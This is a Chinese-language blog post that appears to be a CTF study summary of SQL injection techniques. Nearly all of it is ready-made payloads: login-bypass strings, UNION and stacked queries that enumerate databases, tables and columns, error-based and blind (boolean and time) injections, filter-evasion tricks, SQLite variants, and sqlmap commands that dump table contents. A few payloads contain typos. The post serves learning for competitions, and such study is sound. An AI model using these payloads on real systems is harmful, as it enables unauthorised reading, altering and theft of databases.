sql注入学习

Auth:焱讲       Date:2022/07/27       Cat:文章精选       Word:共1697字

已关闭评论

首先来了解一下在CTF中最为常见的sql查询语句

1 select * from users where username='username' and password='password'; 这个语句的意图也非常明显,查询users数据表中的所有字段,看能否找到用户输入的用户名和对应的密码。 利用点也很明确,通过闭合单引号在该查询语句的基础上添加我们想要的查询语句(此即为sql注入)

下面对CTF中出现的一些常见考点做一个简单的梳理和总结

万能密码(以上面这条查询语句为例) 1 2 'or 1=1# username=admin\&password=or 1;# //通过斜杠转义单引号 联合注入 有无回显测试 1 2 ?id=-1'order by 1%23 //使用order by主要用于确定字段数 ?id=1'union select 1,2,3%23 有回显注入 分为数字型,字符型

利用select查询 (以字符型注入为例) 查询sql版本

1 ?id=-1'union select 1,version(),3%23 查询数据库名(把database放在回显点上):

1 ?id=-1'union select 1,database(),3%23 查询数据表名:

1 ?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23 查询字段名:

1 ?id=-1'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(数据表名)'%23 查询结果:

1 ?id=-1' union select (字段名),2 from 表名 %23 堆叠查询 查询数据库:

1 1';show databases;%23 查询数据表:

1 1';show tables;%23 查询字段名(如果数据表名是数字形式,使用反引号):

1 1';show columns from (数据表名);%23 堆叠查询没有直接读取字段值的方法,但是有时候可以通过

预处理 运用handler命令:

1 1';handler (数据表) open;handler (数据表) read first;handler (数据表) close;%23 运用rename命令:

1 1';rename tables `(默认表)` to `(新表)`;rename tables `(待查询的表)` to `(默认表)`; alter table `(默认表)` change `(待查询字段)` `(默认字段)` varchar(100);23 报错注入 基于extractvalue()的payload: 查询数据库:

1 id=a'and extractvalue(1,concat(0x7e,select(database())))%23 查询数据表:

1 id=a' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like('数据库名'))%23 查询字段:

1 id=a' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like('数据表名'))))%23 查询字段值(字段名和数据表名不需要单引号):

1 id=a' and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(数据表名)))%23 可用updatexml(): 查询数据库名:

1 id=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23 无回显注入 布尔盲注 1 id=1' and length(database())<5 %23 1 ?id=1' and (select ord(mid(group_concat(table_name),1,1))<97 information_schema.tables where table_schema=database()); %23 时间盲注 基于and的盲注payload: 1 1' and 表达式 and sleep(5)%23 基于if的盲注payload: 1 if(ascii(substr(database(),1),1))=97,sleep(5),1) bypass 大小写绕过 当正则匹配的黑名单修饰符没有i时 各种字符绕过 空格: 1 /**/ /*!*/ /*1*/ () 字符串截取函数: 1 substr substring mid left right 等于号: 1 in regexp like 与: 1 and && 或: 1 or || limit: 1 offset 大于,小于号(greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值): 1 greatest 截断符 1 # %23 %00 -- select绕过 预处理绕过 1 1';set @sql=concat('se','lect * from user;');prepare ext from @sql;execute ext; 基于mysql8的新特性 table在某些情况下可以代替select 1 TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] 但值得注意的是,table在查询时,返回值为元组 注入payload: 1 (1,0x21,0x21)<(table users limit 1) 以上是对于mysql的注入 当然还有不太常见但偶尔出现的sqlite注入,sqlite注入和mysql的注入大致上相同,值得注意的是一下几个区别 1.sqlite中查询版本号的函数时sqlite_version() 2.在sqlite中有一张叫sqlite_master的表,类似于mysql中的information.schema,用于存放数据表名,字段名等信息 1 union select 1,2,name from sqlite_master where type='table' and name='(数据表)' 3.在sqlite中并不支持#这个注释符,但可以用--等DDl中的注释符 sqlmap的使用 虽然学会手注很重要,但是最方便的还是直接用sqlmap辣,一般在题目黑名单限制不多,形态比较常规的时候,可以直接扫到。 一键开扫: 1 python3 sqlmap.py -u http://ip:port post型注入(抓包): 1 python3 sqlmap.py -r request.txt -p (注入点) 获取数据库名: 1 python3 sqlmap.py -u http://ip:port --dbs 获取数据表名: 1 python3 sqlmap.py -u http://ip:port -D 数据库 --tables 获取字段名: 1 python3 sqlmap.py -u http://ip:port -D 数据库 -T 数据表 --columns 获取字段值: 1 python3 sqlmap.py -u http://ip:port -D 数据库 -T 数据表 -C 字段名 --dump 以上就是俺在学习sql注入过程中做的一个小小的汇总 如有错误,写的不好的或需要补充的地方,希望路过的大佬们能不吝赐教

本文首发于:sql注入学习-焱讲
      

评论已关闭!